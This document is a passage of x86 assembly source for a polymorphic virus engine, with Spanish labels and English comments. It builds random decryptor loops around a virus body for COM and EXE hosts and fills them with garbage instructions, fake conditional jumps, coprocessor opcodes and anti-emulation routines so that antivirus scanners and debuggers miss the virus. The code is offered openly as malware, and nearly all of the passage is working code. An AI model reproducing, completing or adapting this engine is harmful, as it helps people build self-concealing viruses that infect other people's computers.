[NoBasura-200h], 1 @@XXCXCS: PUSHA ; Save registers PUSH DS PUSH ES PUSH DI PUSH CS POP ES CLD call Aleatorio and al, 3 mov [TipoDeDesencriptador-200h], al CALL Aleatorio ; Set BP with a random word MOV BP, AX @@Repite001: CALL Aleatorio ; Get counter register AND AL, 07h MOV [RegistroContador-200h], AL ; Save it here CALL PonComoUsado ; Check if it is going to be used (to ; not use it on indexed memory writes) @@Repite002: CALL Aleatorio ; Get index register (must be different AND AL, 07h ; of counter register) CMP AL, 03h JB @@Repite002 CMP AL, 04h JZ @@Repite002 CMP AL, [RegistroContador-200h] JZ @@Repite002 MOV [RegistroIndice-200h], AL ; Save it here CALL PonComoUsado ; Check if it is going to be used (to ; not use it on indexed memory writes) @@Repite003: CALL Aleatorio ; Get key register (the register that AND AL, 07h ; is going to be used like decryption CMP AL, 04h ; key, if flags in BP says that). Of JZ @@Repite003 ; course, it must be different of the CMP AL, [RegistroIndice-200h] ; other two JZ @@Repite003 CMP AL, [RegistroContador-200h] JZ @@Repite003 MOV [RegistroEncriptado-200h], AL CALL PonComoUsado ; Set if it can be used like index on ; indexed memory writes ; This variable is set to avoid making a JMP instruction in the very ; beginning of the decryptor MOV BYTE PTR CS:[PrimerByte-200h], 0 CALL HazBasuraAleatoria ; Do garbage INC BYTE PTR CS:[PrimerByte-200h] ; Use JMPs on decryptor CALL PonInt ; Put INT function CALL HazBasuraAleatoria ; Do garbage CALL HazBasuraAleatoria ; Do garbage MOV AX, BP ; Get method of jumping to next de- AND AX, 0C00h ; cryptor or decrypted virus body ROL AX, 6 MOV BYTE PTR [Estado-200h], AL ; Put it here cmp byte ptr [TipoDeDesencriptador-200h], 1 jb @@Tipo0 jz @@Tipo1 cmp byte ptr [TipoDeDesencriptador-200h], 2 jz @@Tipo2 ;;;; ALGORITHM TYPE 3 ;;; Normal, habitual looping @@Tipo3: MOV BX, Offset PonContador - 200h ; Call this functions MOV CX, Offset PonIndice - 200h ;in a random order: Pon- MOV DX, Offset PonEncriptador - 200h ; Contador to set MOV SI, Offset AntiEmulating - 200h ; counter register, CALL BarajaYLlama ;PonIndice to set index ;register, PonEncriptador to set key register, ;and AntiEmulating to... well, I think you ;aren't sooooo lamer :) push offset @@Returning - 200h @@Parche: MOV [InicLoop-200h], DI ; Decryption LOOP begins here @@Parche2: CALL HazBasuraAleatoria ; Do garbage CMP BYTE PTR [TipoEjec-200h], 01 ; Is the host EXE or COM? JNZ @@EsCOM ; Jump if COM @@EsEXE: MOV AL, 2Eh ; Set "CS:" instruction JMP @@SAaslx ; Continue @@EsCOM: CALL Aleatorio ; Get a random segment referring AND AL, 18h ; CS:, DS:, ES:, SS: CMP AL, 18h ; If result is "DS:", don't insert it JZ @@SAaslx2 ADD AL, 26h ; Convert it to this instruction @@SAaslx: STOSB ; Insert it @@SAaslx2: CALL HazEncriptador ; Put decryption instruction CALL HazBasuraAleatoria ; Do garbage ret @@Returning: push offset @@Returning2 - 200h @@Parche3: MOV BX, Offset IncrementaIndice - 200h ; Construct index ; increasement MOV CX, Offset ModificaContador - 200h ; Construct counter ; in/decrementation MOV DX, Offset ModificaRegistro - 200h ; Construct key ; modification MOV SI, Offset @@Retorno01 - 200h ; Direct return (no ; function) CALL BarajaYLlama ; Call the three functions above in a ; random order CALL MeteComprueba ; Construct counter check RET @@Returning2: @@Finish: CALL HazBasuraSinBanderas2 ; Random instructions that don't ; change Zero Flag and/or Signe ; Flag CALL MeteSaltoLoop ; Construct loop jump mov byte ptr [LoopYaEsta-200h], 1 ; Decryption loop is ; ended CALL HazBasuraAleatoria ; Do garbage CALL PonInt ; Do random interrupt function ; (or not, it's random :) ) CALL HazBasuraAleatoria ; Do garbage CALL SaltoInicio ; Put jump to virus body or se- ; cond decryptor CALL HazBasuraAleatoria ; Do garbage POP CX ; Calculate length of decryptor SUB DI, CX ; in DI MOV [LongDesencrip-200h], DI ; Put result here MOV [Banderas-200h], BP ; Save flags here POP ES POP DS POPA ; Restore registers and return @@Retorno01: RET ;;; Algorithm type 0 (Zhengxi decryption based) @@Tipo0: AND BP, 1111111111111011b ; Don't vary decryption key MOV BYTE PTR [RegistroContador-200h], 04 ; Put 4 as coun- ; ter registre @@Repite01: CALL Aleatorio ; Get a random size for a block AND AX, 001Eh ; between 4 and 30 CMP AL, 4 JB @@Repite01 MOV [TamanyoBloque-200h], AL ; Save it MOV BX, Offset PonIndice - 200h ; Put index value MOV CX, Offset PonStack - 200h ; Put stack instructions MOV DX, Offset PonEncriptador - 200h ; Put encryptor value MOV SI, Offset AntiEmulating - 200h ; Put an anti-emula- CALL BarajaYLlama ; tion CALL @@Parche ; Call to this common part call @@Parche3 ; The same CALL MeteSaltoLoop ; Put the jump to the beginning ; of the loop mov byte ptr [SaltoLoopTipo0-200h], 0 ; Put this to 0 CALL ModificaIndice ; Modify index CALL MeteComprueba2 ; Put the test of the index JMP @@Finish ; Jump to this other common ; part and finish ;; ALGORITHM TYPE 1 ;;; LOOP of LOOPs. I think it's quite clear :) @@Tipo1: CMP BYTE PTR [RegistroContador-200h], 4 ; Is there a coun- ; ter defined? JNZ @@Repite02 ; If it is, jump mov cl, 08 ; Get a registre as a counter CALL ObtenRegistro mov [RegistroContador-200h], al ; Save it here @@Repite02: CALL Aleatorio ; Get a random number between AND AX, 001Eh ; 4 and 30 CMP AL, 4 JB @@Repite02 MOV [TamanyoBloque-200h], AL ; Put it as block size push word ptr [TamanyoContador-200h] ; Save counter size MOV [TamanyoContador-200h], AX ; Put the block size in ; this variable MOV BX, Offset PonIndice - 200h ; Call to this functions MOV CX, Offset PonStack - 200h ; with a random order MOV DX, Offset PonEncriptador - 200h MOV SI, Offset AntiEmulating - 200h CALL BarajaYLlama MOV [InicLoop2-200h], DI ; Save DI as the initial ; address of the external ; loop push word ptr [LongDesencrip-200h] ; Save this value MOV WORD PTR [LongDesencrip-200h], 0 ; Put this to 0 and CALL PonContador ; and put the counter POP word ptr [LongDesencrip-200h] ; Restore the value MOV [InicLoop-200h], DI ; Save DI as the initial ; address of the internal ; loop CALL @@Parche2 ; call this common parts call @@Parche3 CALL MeteSaltoLoop ; Put the looping jump POP WORD PTR [TamanyoContador-200h] ; Restore this MOV BYTE PTR [RegistroContador-200h], 4 ; Force "MeteCom- CALL MeteComprueba ; prueba" to do a CMP of index ; and not a check of the coun- ; ter with 0 MOV AX, [InicLoop2-200h] ; Get the address of the ex- ; ternal loop MOV [InicLoop-200h], AX ; Put it as internal JMP @@Finish ; Jump and continue in this ; common part ;;; Type 2 ;;;; One loop after another (one loop is executed, and when it finishes, the ;;;; second loop take the control) but both jump to the same point. @@Tipo2: cmp byte ptr [RegistroContador-200h], 4 ; Get a counter jnz @@Repite03 ; registre it it isn't mov cl, 08 ; any call ObtenRegistro mov byte ptr [RegistroContador-200h], al @@Repite03: call Aleatorio ; Get a random number or ax, ax ; Avoid 0 jz @@Repite03 and ax, 1fffh ; Get the number between ; 1 and 1FFFh xchg ax, [TamanyoContador-200h] ; Put it on the value of ; the counter reg push ax ; Save the old value MOV BX, Offset PonContador - 200h ; Call this functions MOV CX, Offset PonIndice - 200h ; randomly MOV DX, Offset PonEncriptador - 200h MOV SI, Offset AntiEmulating - 200h CALL BarajaYLlama pop word ptr [TamanyoContador-200h] ; Restore this value call @@Parche ; Call this common parts call @@Parche3 call MeteSaltoLoop ; Put the jump to the beginning ; of the loop call HazBasuraAleatoria ; Do garbage xor bp, 0001 ;Inverse bit 0 on BP to force ; to ModificaContador to do the ; inverse operation as before, ; to force loop to execute only ; once when the "big loop" is ; going and not the "little ; loop" mov byte ptr [NoPongasLOOP-200h], 1 ; Avoid LOOP instruc. call ModificaContador ; Insert instruction to modify ; counter call HazBasuraAleatoria ; Do garbage mov byte ptr [RegistroContador-200h], 4 ; Force "MeteCom- call MeteComprueba ; prueba" to do a CMP to the ; index and not test counter ; equality to 0 jmp @@Finish ; Jump to the common part and ; continue HazVirus2 ENDP ;; Procedure to mix BX, CX, DX and SI registers and call the addresses in them ;; randomly BarajaYLlama PROC MOV AX, 0005 ; Repeat 5 times @@Loop1: CALL SioNo ; Random Zero Flag JZ @@Salto1 XCHG BX, CX ; Exchange @@Salto1: CALL SioNo ; Random Zero Flag JZ @@Salto2 XCHG CX, DX ; Exchange @@Salto2: CALL SioNo ; Idem JZ @@Salto3 XCHG DX, SI ; Idem @@Salto3: CALL SioNo ; Id. JZ @@Salto4 XCHG SI, BX ; I. :) @@Salto4: DEC AX JNZ @@Loop1 ; Repeat PUSH BX ; Put addresses on stack, so, when PUSH CX ; the functions arrive to "RET", they PUSH DX ; jump to next function. Last will PUSH SI ; return completely. RET BarajaYLlama ENDP ;;;; GARBAGE GENERATOR ;; Almost all polymorphism in this engine depends on this powerful procedure. ;; It can generate a lot of different types of garbage, from CALLs to indexed ;; memory writes, conditional jumps, 32 bit instructions and much more. ;; All memory writes are done to the virus body! :) HazBasuraAleatoria PROC CMP BYTE PTR [NoBasura-200h], 0 JZ @@HazBasura RET @@HazBasura: MOV BYTE PTR [EstoyDentro-200h], 0 ; Initialize variable. ; When generating a CALL, this is set to ; 1 to not generate nested CALLs PUSH CX ; Save going-to-be-used registers PUSH DX PUSH AX CALL Aleatorio ; Get a random word in AX AND AH, 0C0h JNZ @@Salto ; Jump with 75% probability CMP BYTE PTR [PrimerByte-200h], 0 ; First instruction on ; decryptor? JNZ @@Salxtro ; If not, jump OR AH, 0C0h ; Set bit 15 and 14 to non-zero JMP @@Salto ; Jump and don't do "JMP" @@Salxtro: TEST AL, 03 ; Do jump with non-zero displacement JNZ @@SLLL OR AL, 1 @@SLLL: PUSH AX ; Save AX CALL Aleatorio ; Aleatory in AX AND AL, 0Fh ;Generate a random type of conditional "JMP" AND AH, 03h ; Generate probabilities CMP AH, 01 JBE @@PonSaltoNormal ; Jump with 50% of probability CMP AH, 02 JZ @@PonJCXZ ; Jump with 25% of probability MOV AL, 0EBh ; Do JMP (with 25% ...) JMP @@JKJCJD @@PonJCXZ: MOV AL, 0E3h ; Do JCXZ JMP @@JKJCJD @@PonSaltoNormal: ; Do normal conditional jump AND AL, 0Fh ADD AL, 70h @@JKJCJD: STOSB XOR AL, AL ; Set this to 0 and save this offset address STOSB MOV [Temporal-200h], DI POP AX ; Restore AX @@Salto: AND AL, 03 ; Get AL between 0 and 3 JZ @@Fin ; If 0, jump @@Loop: PUSH AX ; Save AX CALL HazBasuraAleatoria2 ; Generate random instructions POP AX ; Recover AX DEC AL ; Repeat AL times JNZ @@Loop @@Fin: OR AH, AH ; AH=0? JNZ @@Fin2 ; If not, a JMP isn't be constructed MOV AX, DI ; Get current offset in AX SUB AX, [Temporal-200h] ; Calculate displacement until the ; JMP (or JCXZ or Jxx) PUSH DI ; Save DI MOV DI, [Temporal-200h] ; Put JMP address on DI DEC DI ; Decrement DI to get displacement ; zone on instruction STOSB ; Put displacement POP DI ; Restore DI JMP @@Fin3 ; Jump and finish @@Fin2: CMP AH, 80h ; Do I do a faked conditional jump? JNZ @@Fin3 ; With a 25% of probability, say "NO" CALL Aleatorio ; Get a random word in AX AND AL, 03 ; Get a number 1, 2 or 3 JZ @@Fin3 ; Finish if 0 CMP AL, 02 ; Test resultant AL JB @@ConSTC ; If AL=1, jump here JZ @@ConZF ; If AL=2, jump here ;; Construct CLC/JC or CLC/JNC @@ConCLC: MOV AL, 0F8h ; Insert "CLC" STOSB CALL SioNo ; Random Zero Flag JZ @@ConCLC2 ; Jump here, then (if ZF set) MOV AL, 72h ; "JC" with random displacement (it STOSW ; never jumps) JMP @@Fin3 ; Jump and end @@ConCLC2: CALL Aleatorio ; Get an aleatory in AX AND AH, 03 ; Get a non-zero AH JZ @@ConCLC2 MOV AL, 73h ; Store a "JNC" with AH displacement @@Repite: STOSW ; JNC always jumps MOVZX CX, AH ; Insert AH random bytes @@Otro: CALL Aleatorio STOSB LOOP @@Otro JMP @@Fin3 ; Return ;; Construct STC/JNC or STC/JC @@ConSTC: MOV AL, 0F9h ; Insert STC STOSB CALL SioNo ; Random Zero Flag JZ @@ConSTC2 ; If ZF, jump to STC/JC MOV AL, 73h ; Put a "JNC" with random displacement STOSW JMP @@Fin3 ; Return @@ConSTC2: CALL Aleatorio ;Get a non-zero displacement for the "JC" AND AH, 03 JZ @@ConSTC2 MOV AL, 72h ; Put "JC" opcode in AL JMP @@Repite ; Jump and do the same that "@@ConCLC" ;; Construct CMP Reg,Reg/JNZ or CMP Reg,Reg/JZ ("Reg" must be the same) @@ConZF: MOV AL, AH ; Put AH (aleatory) in AL ROL AL, 3 ;Put 3 lowest bytes on the third bit po- ; sition AND AX, 0738h ; Leave alone this bits OR AH, AL ; Integrate them in AL. Now bits (3,4,5) ; and (0,1,2) are the same OR AH, 0C0h ; Set register operation MOV AL, 38h ; Put CMP opcode in AL MOV CX, AX ; Save instruction formed in AX CALL Aleatorio ; Get an aleatory in AX AND AL, 03 ; Get a random number between 0 and 3 ADD CL, AL ; Add it to main opcode to construct one ;of the four variations of "CMP" in this ;type of opcode XCHG CX, AX ; Put it in AX STOSW ; Store it XCHG CX, AX ; Put it again in CX CALL SioNo ; Random Zero Flag JZ @@ConZF2 ; Here if Zero Flag MOV AL, 75h ; Put a random "JNZ" STOSW JMP @@Fin3 ; Return @@ConZF2: CALL Aleatorio ; Get non-zero random AH AND AH, 03h JZ @@ConZF2 MOV AL, 74h ;Put "JZ" and put random bytes along the JMP @@Repite ; displacement jumping here @@Fin3: POP AX ; Restore attributes POP DX POP CX RET ; Return HazBasuraAleatoria ENDP ;; Procedure to get a non-used register (the got register is lower than CL) ObtenRegistro PROC PUSH BX ; Save BX @@OtraVez: CALL Aleatorio ;Get a random byte in AL between 0 and 7 AND AL, 07h CMP AL, 04 ; SP? JZ @@OtraVez ; Repeat, then CMP AL, CL ; >=CL? JAE @@OtraVez ; Repeat, then CMP AL, [RegistroEncriptado-200h] ; Equal to key register? JZ @@OtraVez ; Repeat, then CMP AL, [RegistroIndice-200h] ; Equal to index register? JZ @@OtraVez ; Repeat, then CMP AL, [RegistroContador-200h] ;Equal to counter reg.? JZ @@OtraVez ; Repeat, then CALL PonComoUsado ; Mark this register as used @@Retorna: POP BX ; Restore BX and return RET ObtenRegistro ENDP ;; Markers of registers RegistrosUsados DB 8 DUP (0) ;; Procedure to put BP, SI or DI like used PonComoUsado PROC @@Sigue: MOVZX BX, AL ; Put register in BX (zero extended) MOV BYTE PTR [BX+RegistrosUsados-200h], 1 ; Mark it @@Retorna: RET ; Return PonComoUsado ENDP ;;; RANDOM INSTRUCTION GENERATOR HazBasuraAleatoria2 PROC MOV CL, 04 ; Get a register lower than SP (get CALL ObtenRegistro ; AX, CX, DX or BX) MOV CL, AL ; Put it in CL CALL Aleatorio ; Get aleatory AX AND AL, 03 ; Do aleatory JMP with 25% of prob. JZ @@SaltoAleatorio TEST AH, 0C0h ; 25% of probability for putting a JZ @@Salxto00 ; 66h opcode (it is 8 bit instruc- PUSH AX ; tion yet, but not for the debug- MOV AL, 66h ; ger :) ). STOSB POP AX @@Salxto00: CMP AL, 02 ; If AL=1, then do a 1 byte instruc. JB @@Instruccion1byte JZ @@Instruccion2bytes ; If AL=2, then do a 2 byte instruc. ;; More than 2 bytes instruction @@Instruccion3bytes: CALL Siono JZ @@KKDLL1 CALL Siono JZ @@KKDLL1 CALL Siono ; 1 in 4 to do a coprocessor instruction JZ @@MeteCoprocesador ; or a memory write. 1 in 8 to do a ; coprocessor instruction JMP MeteEscritura ; Put a memory write with a 1/8 of prob. @@KKDLL1: CALL Aleatorio ; Random word in AX TEST AH, 03h ; JZ with 25% of probability JZ @@InstruccionChunga ; Do weird instruction TEST AH, 0E0h ; JZ with 25% of probability JZ @@OtroTipo ; Do another type of instruction MOV CH, AH ; Save AH AND AX, 007Fh ; Get a random number between 0 and 0Fh MOV BL, 0Ah ; in AL DIV BL MOV AL, AH AND CH, 04h ; CH=0 or 4 ADD CL, CH ;Add it to 8 bit register to get random- ; ly ?H or ?L MOV BX, Offset BasuraInstruc - 200h ; Convert AL to opcode XLAT MOV BL, AL ; Put it in BL CALL Aleatorio ; Get an aleatory in AL CMP BL, 3Ah ; Check if it is "CMP" opcode JNZ @@Salllclx ; If not, jump AND AL, 02 ; AL=0 or 2 ADD AL, 38h ; Get in AL opcode 38h or 3Ah MOV BL, AL @@Salllclx: AND AH, 07h ; Get AH between 0 and 7 (random) ROL CL, 3 ; Put register in bits (3,4,5) OR AH, CL ; Integrate them in the same opcode CALL SioNo ; Byte or word extra displacement on in- ; dex? JNZ @@SaltoCXC ; If byte, jump OR AH, 80h ; A word will be added to index JMP @@SaltoCXC2 @@SaltoCXC: OR AH, 40h ; A byte will be added to index @@SaltoCXC2: MOV AL, BL ; Store whole opcde STOSW TEST AH, 80h ; If byte... PUSHF CALL Aleatorio ; Get an aleatory in AX POPF JZ @@Bytett ; ...jump and insert a byte STOSW ; Insert a word RET @@Bytett: STOSB ; Insert a byte RET ; return ;; Weird instruction ("SETxx") @@InstruccionChunga: MOV AL, 0Fh ; Extended opcode STOSB AND AH, 04h ; Get random ?H or ?L register ADD CL, AH CALL Aleatorio ; Get a random word OR AH, 0C0h ; Set register operation on AND AH, 0F8h ; Get a random bit field on bits 3,4,5 ADD AH, CL ; Put register AND AL, 0Fh ; Get a random SETxx operation ADD AL, 90h STOSW ; Store instruction RET ; Return ;; Usual register operation (ADD/OR/ADC... Register, Random Value) @@OtroTipo: CMP BYTE PTR [DI-01], 66h ; Eliminate 32 bit opcode (due JNZ @@CJJJDC ; to some problems) DEC DI @@CJJJDC: MOV BL, AH ; Put random AH in BL TEST BL, 80h ; Random Zero Flag JZ @@OtroTipoWORD ; Jump if Zero Flag (to do 16 bits) AND AH, 04 ; Get random ?H/?L in CL ADD CL, AH AND BL, 08h ROR BL, 2 ; BL = 0 or 2 MOV AL, 80h ADD AL, BL ; Store opcode 80h or 82h (8 bits) STOSB CALL Aleatorio ; Random word in AX OR AL, 0C0h ; Set register operation on AND AL, 0F8h ; Get a random operation (ADD/OR/ADC...) OR AL, CL ; Put register STOSW ; Store opcode + random byte RET ; Return @@OtroTipoWORD: MOV AL, 81h ; 16 bits opcode STOSB ; Put it MOV CL, 08h ; Get a random register CALL ObtenRegistro OR AL, 0C0h ; Set register operation on AND AH, 038h ; Get a random operation OR AL, AH ; Mix to get the operation STOSB ; Store it CALL Aleatorio ; Store a random word STOSW RET ; Return ;;; Coprocessor instructions builder. This instructions are not as logical as ;;; the processor ones, so every opcode has its particularities and instruc- ;;; tions. Due to this I had to code this weird kind of select an opcode and ;;; its instructions. DirecCopro dw offset @@OpcodeD8h - 200h ; This is a table with the dw offset @@OpcodeD9h - 200h ; offsets of where it has dw offset @@OpcodeDAh - 200h ; to jump to do an instruc- dw offset @@OpcodeDBh - 200h ; tion with this opcode. dw offset @@OpcodeDCh - 200h dw offset @@OpcodeDDh - 200h dw offset @@OpcodeDEh - 200h dw offset @@OpcodeDFh - 200h ;; And it's a table with some needed values Copro_Tabla1 db 00h, 10h, 20h, 28h Copro_Tabla2 db 00h, 08h, 18h, 00h Copro_Tabla3 db 20h, 21h, 24h, 25h, 28h, 29h, 2ah, 2bh, 2ch, 2dh, 2eh db 36h, 37h, 20h, 21h, 24h @@MeteCoprocesador: call Aleatorio ; Get a random opcode between D8h and and ax, 07h ; DFh and translate it to the table shl ax, 1 ; to get an offset to jump add ax, offset DirecCopro - 200h mov bx, ax jmp [bx] ; Jump to the address @@OpcodeD8h: ;;; Memory: fadd, fcom, fsub, fsubr ;;; Registre: the same mov dl, 0d8h ; Opcode D8h @@Comun2: call Aleatorio ; Random between 0 and 3 and al, 3 mov bx, offset Copro_Tabla1 - 200h ; Get a value xlat ; Construct the instruction xchg ah, al and al, 07h cmp dl, 0d8h ; DL = D8h? jnz @@Slla ; If not, continue call SioNo ; Random Zero Flag jnz @@CoproReg1 ; If not Zero Flag, jump @@Slla: cmp dl, 0dch ; DL = DCh? jz @@CoproReg1 ; If it is, jump cmp dl, 0ddh ; DL = DDh? jz @@CoproReg1 ; If it is, jump or ah, 6 ; Set direct value as memory address mov al, dl ; Construct instruction and store it stosw call ObtenDireccionEscrit ; Store a safe memory write stosw ; address ret ; Return @@CoproReg1: or al, 0c0h ; Put registre or ah, al ; Put the registre in AL to AH mov al, dl ; Put the main opcode in AL stosw ; Store it ret ; Return @@OpcodeD9h: ;;; Memory: nothing ;;; Registre: fld, fxch, fnop, fstp, fchs, fabs, ftst, fxam, ;;; fld1, fldl2t, fldl2e, fldpi, fldlg2, fldln2, fldz, ;;; fdecstp, fincstp mov dl, 0d9h ; Opcode D9h call SioNo ; Random Zero Flag jz @@SingleD9h ; If Zero Flag, jump to single instruction @@ConRegistrosD9h: ; with registre: fld, fxch, fstp, fld call Aleatorio ; Get a random number in AX and ax, 0703h ; Get=AH between 0 and 7. AL between 0 and 3 mov bx, offset Copro_Tabla2 - 200h ; Get a random opcode @@Comun: xlat ; in AL jmp @@CoproReg1 ; Jump and continue @@SingleD9h: ; Without registre, just only the instruction: fnop, ; fchs, fabs, ftst, fxam, fld1, etc. call Aleatorio ; Get a random between 0 and 15 and ax, 000fh mov bx, offset Copro_Tabla3 - 200h ; Get an instruction jmp @@Comun ; Jump and continue @@OpcodeDAh: ;;; Memory: fiadd, ficom, fsub, fsubr ;;; Registre: - mov dl, 0dah ; Opcode DAh jmp @@Comun2 ; Jump and continue @@OpcodeDBh: ;;; Memory: - ;;; Registre: fnclex, fninit mov ax, 0e2dbh ; AX = Opcode of FNCLEX call SioNo ; Random Zero Flag jz @@DoFNCLEX ; If Zero Flag, jump @@DoFNINIT: inc ah ; Convert to FNINIT @@DoFNCLEX: stosw ; Store instruction ret ; Return @@OpcodeDCh: ;;; Memory: - ;;; Registre: fadd, fcom, fsubr, fsub mov dl, 0dch ; opcode DCh jmp @@Comun2 ; Jump and continue @@OpcodeDDh: ;;; Memory: - ;;; Registre: ffree, fst, fucom, fucomp mov dl, 0ddh ; Opcode DDh jmp @@Comun2 ; Jump and continue @@OpcodeDEh: ;;; Memory: fiadd, ficom, fisub, fisubr ;;; Registre: faddp, fcompp, fsubrp, fsubp mov dl, 0deh ; Opcode DEh jmp @@Comun2 ; Jump and continue @@OpcodeDFh: jmp @@MeteCoprocesador ; If opcode DFh, repeat and get ano- ; ther opcode ;; 2 byte instructions @@Instruccion2bytes: CALL Siono JZ @@KKDLL2 CALL Siono JZ @@KKDLL2 CALL Siono JZ @@MeteCoprocesador ; Do copro with 1/8 of probability JMP MeteEscritura ; Memory write with 1/8 of probability @@KKDLL2: TEST AH, 07h ; Zero flag with 1/8 of probability JZ @@HazInt ; Put interrupt if Zero Flag CALL Aleatorio ; Get random value OR CL, CL ; Check if register to use is AX JNZ @@Salxto02 ; If not, jump TEST AL, 0C0h ; Zero Flag with 25% of probability JZ @@InstrucConAX ; If Zero Flag, put an implicit AX inst. @@Salxto02: MOV BL, AL ; Save random byte in BL AND AL, 38h ; Get random instruction CMP AL, 38h ; Will it be "CMP"? JNZ @@CDVDC ; If not, continue CALL Aleatorio ; Get a random word in AX AND AL, 02h ; Inverse source and destiny randomly ADD AL, 38h ; Do a "CMP" instruction JMP @@CDVDC2 ; Continue @@CDVDC: ADD AL, 02 ; Register is destiny @@CDVDC2: AND AH, 07h ; Get a random source XOR DL, DL ;DL = 0 (it is used like flag to know if ; a word must be added to instruction) TEST BL, 01 ;If Zero Flag, source is a memory address JZ @@Salxto03 OR AH, 0C0h ; Put register operation MOV DX, AX ; Save AX in DX CALL Aleatorio ; Get a random word in AX XCHG DX, AX ; Put in DX and restore AX AND DL, 01 ; Get 0 or 1 in DL ADD AL, DL ; Construct 8 or 16 bits operation XOR DX, DX ; Set DL to "instruction as-is" JMP @@Salxto08 ; Continue here ; Here to put "Operation Register,Memory" @@Salxto03: CMP AH, 06h ; Direct memory address? JNZ @@Salxto04 ; If not, continue MOV DL, 01 ;Set "add random word to instruction" on @@Salxto04: AND BL, 04 ; Get an aleatory ?H or ?L ADD CL, BL ; Convert register @@Salxto08: ROL CL, 3 ; Mix it with the opcode OR AH, CL OR DL, DL ; Have I to add a random word? JZ @@Salxto05 ; If not, jump STOSW ; Store opcode CALL Aleatorio ; Get a random word in AX @@Salxto05: STOSW ; Store opcode/random word RET ; Return ;; Implicit AX instruction @@InstrucConAX: CALL SioNo ; Aleatory Zero Flag JZ @@KK01 ; If Zero Flag, jump AND AL, 01h ; AL=0 or 1 ADD AL, 0D4h ; Get AAM or AAD STOSW ; Store it with a random conversion base ; (it's undocumented, but it works) RET ; Return @@KK01: AND AL, 38h ; Get a random operation ADD AL, 04h ; Get AL operation STOSW ; Store it with a random source byte RET ; Return ;; To do a random int (well, not absolutely random. They are selected from a ;; little list). @@HazInt: CALL Aleatorio ; Get a random AX MOV BX, Offset OpcodesInterrup - 200h ;Direction of usable ; interrupts AND AL, 03h ; Get a number between 0 and 3 XLAT ; Get in AL the interrupt number CMP BYTE PTR [DI-01], 66h ; Eliminate 32 bit opcode, if it JNZ @@Salxto06 ; was put before DEC DI @@Salxto06: MOV AH, AL ; Construct an "INT XXh" instruction MOV AL, 0CDh STOSW ; Store it RET ; Return ;;; 1 byte instruction @@Instruccion1byte: CMP BYTE PTR [DI-01], 66h ; If 32 bit opcode, eliminate it JNZ @@DHHDS DEC DI @@DHHDS: CALL Aleatorio ; Get a random word TEST AL, 0C0h ; Zero Flag with 25% of probability JZ @@INCDEC ; If Zero Flag, jump here @@DeTodo: MOV BH, 08h ;Number of garbage one-byte instructions OR CL, CL ; Are we going to use AX for garbage? JNZ @@Salxto01 ; If not, avoid next instruction ADD BH, 08h ; Add quantity of one-byte instruction ; that use AX @@Salxto01: AND AX, 007Fh ; Get a random number between 0 and 7Fh DIV BH ; Get a random number between 0 and BH MOV AL, AH ; Put it on AL MOV BX, Offset BasuraNoBanderas - 200h ; Get the random XLAT ; instruction STOSB ; Store it RET ; Return ;; Construct a INC or a DEC instruction @@INCDEC: AND AL, 08h ; Get random 0 or 8 ADD AL, CL ; Set register ADD AL, 40h ; Convert to INC/DEC STOSB ; Store it @@Salir: RET ; Return ;; Construct a JMP (non-zero displacement random unconditional jump with gar- ;; bage) or a CALL routine. @@SaltoAleatorio: CMP BYTE PTR [PrimerByte-200h], 0 ; If first instruction JZ @@Salir ; on the decryptor, exit CMP BYTE PTR [EstoyDentro-200h], 01 ; If it is inside ano- JZ @@Salir ; ther CALL, exit MOV BYTE PTR [EstoyDentro-200h], 01 ;Put "I'm inside" flag CALL Aleatorio AND AL, 02 ; Get a random 0 or 2 in AL ADD AL, 0E9h ; Construct a 8/16 bits opcode STOSB ; Store it CALL SioNo ; Aleatory zero flag JZ @@CallAleatorio ; If zero flag, construct a CALL MOV BL, AL ; Save AL on BL @@KKKKSK: CALL Aleatorio ; Get an aleatory number between AND AX, 0007h ; 1 and 7 JZ @@KKKKSK CMP BL, 0E9h ; If 16 bit jump, store word JZ @@Salhhh STOSB ; If 8 bit jump, store byte JMP @@Saliii @@Salhhh: STOSW @@Saliii: MOV CX, AX ; Put displacement in CX @@Saljjj: CALL Aleatorio ; Insert CX random bytes STOSB LOOP @@Saljjj RET ; Return ;; Construct a random CALL @@CallAleatorio: CMP BYTE PTR [NumeroCALLs-200h], 0 ; Check if a CALL was ; constructed before JZ @@MMDKKC ; If not, jump and continue CALL MiraSiPrimerDes ;Check if it is the second de- ; cryptor (in order of execu- ; tion) JZ @@SaltaSigue ; If it is, jump and continue ; Here if it is the first decryptor CMP BYTE PTR [LoopYaEsta-200h], 1 ; Was performed the de- ; cryption LOOP? JNZ @@MMDKKC ; If not, jump ; Here to use a constructed CALL. They could be inter-decryptor CALLs. @@SaltaSigue: PUSH AX ; Save AX CALL Aleatorio ; Get Zero Flag with 1/4 of probability AND AX, 0003h POP AX JNZ @@MMDKKC DEC DI ; Eliminate JMP opcode MOV AL, 0E8h ; Put CALL opcode STOSB LEA CX, [DI+02] ; Save after-CALL address in CX PUSH BX ; Save BX @@MMDKKC2: CALL Aleatorio AND AX, 0007h ; Get a random AX between 0 and 7 CMP AL, [NumeroCALLs-200h] ; Check if it is greater than ;the number of constructed CALLs JAE @@MMDKKC2 ; If it overpasses it or it's equal, ; get another number ROL AX, 1 ; Multiply number by two MOV BX, AX ; Get address of constructed CALL ADD BX, Offset DirecCALLs-200h MOV AX, [BX] ; Get CALL address in AX SUB AX, CX ; Get displacement in AX STOSW ; Store CALL displacement POP BX ; Restore BX and return RET ;; Here to generate a random CALL @@MMDKKC: PUSH DI ; Save DI TEST AL, 02h ; Check if JMP 8 bits or JMP 16 bits MOV AL, 0 JNZ @@Salccc ; Jump if 8 bits STOSB ; Store a byte with value 0 @@Salccc: STOSB ; " " " " " " CMP BYTE PTR [NumeroCALLs-200h], 08h ; Check if the number ;of constructed CALLs is 8 JZ @@OtraVez32 ;If there are 8 constructed CALLs, jump ; and don't store its address INC BYTE PTR [NumeroCALLs-200h] ; Increase number of CALLs PUSH BX ; Save BX XOR BH, BH ; Get the address where the address of MOV BL, BYTE PTR [NumeroCALLs-200h] ; this CALL will be DEC BX ; stored... ROL BX, 1 ADD BX, Offset DirecCALLs-200h MOV [BX], DI ; ...and store it. POP BX ; Restore BX @@OtraVez32: CALL Aleatorio ; Get a random AX between 1 and 3 AND AX, 0003 JZ @@OtraVez32 @@Loopccc: PUSH AX ; Save AX MOV BX, DI @@truus: PUSH BX CALL HazBasuraAleatoria2 ; Generate a random instruction. ; "I'm inside" flag is set, so a CALL can't be ; generated POP BX CMP BX, DI JZ @@truus POP AX ; Restore AX DEC AX ; Repeat AX times JNZ @@Loopccc @@Salddd: MOV AL, 0C3h ; Insert a "RET" STOSB POP SI ; Restore saved DI in SI LEA AX, 